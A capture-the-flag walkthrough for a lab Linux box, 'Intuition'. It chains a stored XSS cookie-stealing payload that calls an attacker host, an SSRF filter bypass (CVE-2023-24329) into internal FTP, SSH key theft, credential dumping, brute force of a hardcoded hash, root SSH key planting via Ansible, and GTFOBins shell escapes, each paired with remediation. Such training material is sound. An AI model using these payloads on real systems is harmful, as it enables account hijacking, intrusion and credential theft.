← all walkthroughs

Intuition

Linux· Hard
owned
2026-10-13
time to own
48m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I registered a free account on the Comprezzor bug-report portal and submitted a report containing a script that ran in staff reviewers' browsers. Because the session cookie was not marked HttpOnly, the script could read and exfiltrate it, first capturing a developer-role session and then, after I escalated the report's priority, an administrator session.

The admin-only PDF-report feature made the server fetch my own URL, and an outdated Python URL parser let that fetch be redirected to the internal FTP service. The FTP share held a backup containing an SSH private key, its passphrase, and the source of a privileged helper tool.

The key gave a direct SSH foothold. From there, a world-readable application database and intrusion-detection logs leaked more credentials, and a sudo-permitted Ansible-driving helper with a weak, brute-forceable authentication constant was abused to overwrite root's SSH authorized_keys, giving full root control.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD6="<the-password-you-recovered>"
export PASSWORD7="<the-password-you-recovered, for tester1>"
export HASH="<the-hash-you-recovered>"
export HASH3="<the-hash-you-recovered>"

Some commands also carry a value in angle brackets (<admin_cookie>, <baseline_size>, <id>, <recovered_auth_string>, <stolen_webdev_cookie>, <your-public-key>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationVirtual-host discovery via Host-header fuzzing
Mapped the Host-header-routed application and its virtual hosts
Only SSH (22) and HTTP (80) were open. Requests to the bare IP redirected to the comprezzor.htb host header, showing an nginx 1.18.0 front end routing to a Flask application by virtual host. Fuzzing the Host header surfaced three functional vhosts: auth (login/open self-registration), report (public bug-report form), and dashboard (staff area requiring login).
Bare-IP request redirected to the comprezzor.htb Host header; dashboard.comprezzor.htb returned a 302 to /login when unauthenticated.
Exact commands 3
shell

Confirms only 22/tcp and 80/tcp are exposed.

$ nmap -sC -sV -p- $TARGET
shell

Resolve the base domain and discovered vhosts locally.

$ echo "$TARGET comprezzor.htb auth.comprezzor.htb report.comprezzor.htb dashboard.comprezzor.htb" | sudo tee -a /etc/hosts
shell

Vhost fuzzing against the base domain; filter out the default-response size.

$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.comprezzor.htb' -w /usr/share/wordlists/dirb/big.txt -fs <baseline_size>
FixSanitize bug-report input and secure the session cookieCritical
WeaknessThe bug-report title/description fields were stored and rendered to reviewers without output encoding, and the application's session cookie lacked the HttpOnly flag, letting an injected script read and exfiltrate reviewer sessions.
FixEscape/encode all user-submitted content before rendering it in any staff-facing view (e.g. Jinja2 autoescaping, or explicit escape()/Markup.escape), add a strict Content-Security-Policy, and set the session cookie with HttpOnly, Secure, and SameSite=Lax/Strict.
2Initial AccessStored Cross-Site Scripting (CWE-79) combined with a missing HttpOnly flag (CWE-1004) enabling session-cookie theft
Stole a staff session cookie via stored XSS in the bug-report form
Self-registration on the auth vhost was open. A normal account was registered and logged in, then used to submit a bug report whose title/description fields were stored and later rendered, unescaped, in an internal reviewer's browser. Because the application's session cookie (user_data) was not flagged HttpOnly, injected markup could read it and send it to my own listener. This captured a 'webdev' role session, and using the dashboard's own priority-escalation action on the same report caused it to be re-reviewed by an administrator persona, whose session was captured the same way.
Stolen cookie decoded to {"user_id": 2, "username": "adam", "role": "webdev"}; the report was later viewable with admin-role privileges after priority escalation.
Exact commands 5
shell

Create a throwaway account.

$ curl -sS -i -H 'Host: auth.comprezzor.htb' -c cookies.txt -b cookies.txt -X POST --data "username=tester1&password=$PASSWORD7" http://$TARGET/register
shell

Log in; server issues the non-HttpOnly user_data cookie.

$ curl -sS -i -H 'Host: auth.comprezzor.htb' -c cookies.txt -b cookies.txt -X POST --data "username=tester1&password=$PASSWORD7" http://$TARGET/login
shell

Listener to catch the cookie-exfil callback from the reviewer's browser.

$ nc -lvnp 8000
shell

Submit the stored-XSS payload; wait for the review bot to render it and callback with a cookie.

$ curl -sS -i -H 'Host: report.comprezzor.htb' -b cookies.txt -c cookies.txt -X POST --data-urlencode 'report_title=<img src=x onerror="fetch(`http://'"$ATTACKER_IP"':8000/?c=`+document.cookie)">' --data-urlencode 'description=test report' http://$TARGET/report_bug
shell

Escalate the ticket's priority to route it to the admin reviewer and repeat the capture to obtain an admin cookie.

$ curl -sS -H 'Host: report.comprezzor.htb' -H 'Cookie: user_data=<stolen_webdev_cookie>' -X POST http://$TARGET/change_priority?report_id=<id>&priority_level=1
3ExploitationServer-Side Request Forgery via urllib scheme-blocklist bypass (CVE-2023-24329)
Abused the admin PDF-report feature as a server-side request forgery into the internal FTP service
With the stolen administrator cookie, the dashboard's 'Create PDF Report' action made the server itself fetch a URL supplied in the request. The fetch was performed with Python's urllib, an older version vulnerable to CVE-2023-24329, in which a leading space in a URL bypasses scheme validation. This let the fetch be pointed at an ftp:// URL on the internal Docker bridge, reaching an FTP share that was not otherwise reachable from outside the host.
Internal name resolution for ftp.local pointed to the Docker bridge gateway; the FTP share exposed backup/runner1/ (run-tests.sh, runner1, runner1.c) once reached this way.
Exact commands 3
shell

Confirm the SSRF callback and capture the Python-urllib User-Agent/version string.

$ python3 -m http.server 8001
shell

Leading space triggers the CVE-2023-24329 bypass; confirm the exact parameter/path from the page source first.

$ curl -sS -H 'Host: dashboard.comprezzor.htb' -H 'Cookie: user_data=<admin_cookie>' --data-urlencode "url= http://$ATTACKER_IP:8001/" http://$TARGET/create_pdf_report
shell

Reach the internal FTP share using the service account credentials found via this same primitive.

$ curl -sS -H 'Host: dashboard.comprezzor.htb' -H 'Cookie: user_data=<admin_cookie>' --data-urlencode "url= ftp://$USERNAME:$PASSWORD6@ftp.local/backup/" http://$TARGET/create_pdf_report -o ftp_listing.pdf
FixEliminate the server-side URL-fetch SSRF and patch the Python runtimeCritical
WeaknessThe 'Create PDF Report' feature performed a server-side fetch of an arbitrary externally supplied URL using an outdated Python urllib vulnerable to CVE-2023-24329, allowing an unauthorised user to redirect the fetch to internal-only services such as FTP.
FixUpgrade Python to a version with CVE-2023-24329 fixed, validate and allow-list destination schemes/hosts for the PDF-fetch feature (block RFC1918 ranges and non-HTTP(S) schemes), and render PDFs through an isolated fetcher with no access to internal networks.
4FootholdPrivate key theft from an internal file share (T1552.004) / plaintext passphrase storage
Recovered an SSH private key and its passphrase from the FTP share
The same SSRF-to-FTP path retrieved a backup containing a passphrase-protected SSH private key for the dev_acc account and a companion text file disclosing its passphrase in plaintext, plus the source for a privileged helper tool. The key text came back with corrupted line breaks and required normalization before it would validate, after which it authenticated over SSH as dev_acc, giving a shell and the user flag.
Ssh-keygen validated an RSA-3072 key (dev_acc@local); interactive session showed uid=1001(dev_acc) gid=1001(dev_acc) groups=1001(dev_acc); user.txt read from /home/dev_acc/user.txt.
Exact commands 4
shell

Repair line-wrap/CRLF corruption introduced by the web-exposed retrieval.

$ sed 's/ -----END OPENSSH PRIVATE KEY-----/\n-----END OPENSSH PRIVATE KEY-----/' private_extracted.txt | tr -d '\r\f' > dev_acc.key; chmod 600 dev_acc.key
shell

Validate the repaired key using the passphrase found alongside it on the share.

$ ssh-keygen -y -P '<passphrase_from_welcome_note.txt>' -f dev_acc.key > dev_acc.pub; ssh-keygen -lf dev_acc.pub
shell

Confirm the foothold before reading any flag.

$ ssh -i dev_acc.key dev_acc@$TARGET id
uid=1001(dev_acc) gid=1001(dev_acc) groups=1001(dev_acc)
shell

Returns <user.txt>.

$ ssh -i dev_acc.key dev_acc@$TARGET 'cat /home/dev_acc/user.txt'
FixRemove plaintext key material and passphrases from shared storageHigh
WeaknessA passphrase-protected SSH private key and a plaintext file disclosing its passphrase were stored together on an internal FTP share reachable through the SSRF, defeating the purpose of the passphrase.
FixNever store private keys or their passphrases in a shared file location; use a secrets manager (e.g. HashiCorp Vault, AWS Secrets Manager) and rotate the dev_acc key. Restrict the FTP share to only the hosts/services that require it.
5Credential AccessUnsecured credentials in application data stores and security logs (T1552.001)
Harvested further credentials from a world-readable application database and IDS logs
As dev_acc, enumeration found the web application's SQLite user store and the Suricata IDS event logs both readable by a non-owning local account. The database held salted SHA-256 password hashes for the admin and adam (webdev) accounts. The Suricata logs, which record FTP control-channel traffic because FTP transmits credentials in cleartext, contained a logged USER/PASS exchange for a separate local account, lopez.
users.db rows: 1|admin|<withheld> 2|adam|<withheld> /var/log/suricata/eve.json* world-readable; /etc/passwd lists lopez (uid 1003, /bin/bash).
Exact commands 3
shell

Dump the stored password hashes.

$ ssh -i dev_acc.key dev_acc@$TARGET "sqlite3 -readonly /var/www/app/blueprints/auth/users.db 'select * from users;'"
shell

Mode for Werkzeug-style $HASH$salt$hash; crack the webdev/admin hashes offline.

$ hashcat -m 10900 admin_hash.txt /usr/share/wordlists/rockyou.txt
shell

Recover the cleartext FTP credential for lopez logged by the IDS.

$ ssh -i dev_acc.key dev_acc@$TARGET "zgrep -a 'ftp' /var/log/suricata/eve.json*.gz 2>/dev/null | grep -i lopez"
FixRestrict permissions on the application database and IDS logsHigh
WeaknessThe SQLite user-credential database and the Suricata IDS logs (which captured a cleartext FTP login due to FTP transmitting credentials unencrypted) were both readable by a low-privilege local account.
FixSet file permissions on users.db and /var/log/suricata/* to the owning service account only (0600, correct group). Migrate FTP authentication to an encrypted protocol (SFTP/FTPS) so credentials are never sent or logged in cleartext.
6Privilege EscalationHardcoded/weak credential enabling abuse of a privileged automation tool (T1552 / sudo & GTFOBins-style privilege escalation)
Brute-forced a hardcoded authentication constant to drive a root-owned Ansible helper
The runner1 binary recovered from FTP hardcodes a partial authentication string and invokes ansible-playbook/ansible-galaxy against /opt/playbooks/ as root. A 4-character uppercase-alphanumeric suffix of that authentication string was recoverable offline because it is checked against an embedded MD5 constant, which is fast to brute force. Supplying the recovered value authorized the tool to run my own Ansible playbook as root.
AUTH_KEY_HASH <withheld> in runner1.c; offline brute force over the 4-char masked suffix recovered the password.
Exact commands 3
shell

Brute-force the 4-char masked suffix against the embedded MD5 constant.

$ python3 -c "import hashlib,itertools,string\n target='$HASH3'\n prefix='<known_prefix_from_runner1.c>'\n for suf in itertools.product(string.ascii_uppercase+string.digits, repeat=4):\n     s=prefix+''.join(suf)\n     if hashlib.md5(s.encode()).hexdigest()==target:\n         print(s); break"
shell

Invoke the privileged helper with a malicious playbook once authorized; adjust to runner1's real CLI usage.

$ ./runner1 '<recovered_auth_string>' '/opt/playbooks/escalate.yml'
shell

Playbook content: use the lineinfile/authorized_key module to append my public key to /root/.ssh/authorized_keys.

$ ansible-playbook -i /opt/playbooks/inventory.ini /opt/playbooks/escalate.yml
FixRemove the hardcoded authentication constant and tighten the privileged Ansible runnerCritical
WeaknessThe runner1 helper authorized root-level Ansible execution using a partial authentication string checked against a hardcoded MD5 constant, which was brute-forceable offline and let an unauthorised user run an arbitrary playbook as root to add their own SSH key.
FixRemove hardcoded secrets from compiled binaries; require authentication against a proper secrets store or PAM, and run the Ansible helper under a constrained sudo rule (specific playbook paths only, no arbitrary playbook argument) or drop the setuid/root path entirely in favor of a signed, reviewed CI/CD deployment pipeline.
7Full ControlSSH authorized_keys persistence (T1098.004)
Logged in as root via the planted SSH key
The Ansible run executed as root wrote my public key into root's authorized_keys file, giving direct SSH access as root and completing the compromise.
Root-level SSH session established; root.txt read from /root/root.txt.
Exact commands 2
shell

Confirm root access before reading any flag.

$ ssh -i <your-public-key> root@$TARGET id
shell

Returns <root.txt>.

$ ssh -i <your-public-key> root@$TARGET 'cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary: e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp